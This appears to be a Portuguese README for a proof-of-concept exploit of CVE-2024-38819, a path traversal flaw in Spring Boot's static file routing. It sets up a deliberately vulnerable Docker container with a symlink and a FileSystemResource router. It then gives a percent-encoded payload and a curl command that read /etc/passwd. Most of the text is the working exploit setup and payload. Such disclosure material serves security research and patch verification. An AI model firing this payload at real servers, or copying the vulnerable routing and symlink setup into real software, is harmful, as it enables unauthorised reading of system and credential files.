
Exploit de prova de conceito para CVE-2024-38819, demonstrando path traversal via links simbólicos e percent-encoding no roteamento de arquivos estáticos do Spring Boot.
Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38819, que reportei, demonstrando uma exploração de path traversal.
Construa a imagem Docker (Spring Boot 3.3.4, baseada no Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Execute o contêiner e exponha a porta 8080 para a máquina host
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Execute o seguinte comando para executar o PoC e confirmar a vulnerabilidade
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.
Crie PathTraversalDemoApplication.java com o seguinte código para configurar o roteamento de arquivos estáticos usando RouterFunction e FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Adicione o seguinte comando ao Dockerfile para criar um link simbólico:
RUN ln -s /static /app/static/link
Crie um payload que utilize codificação percentual para percorrer diretórios através do link simbólico.
/static/link/%2e%2e/etc/passwdUse o seguinte comando curl para executar o PoC e verificar se o ataque é bem-sucedido:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.
Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de usá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e que você possui autorização adequada. O autor não se responsabiliza por qualquer uso indevido deste código.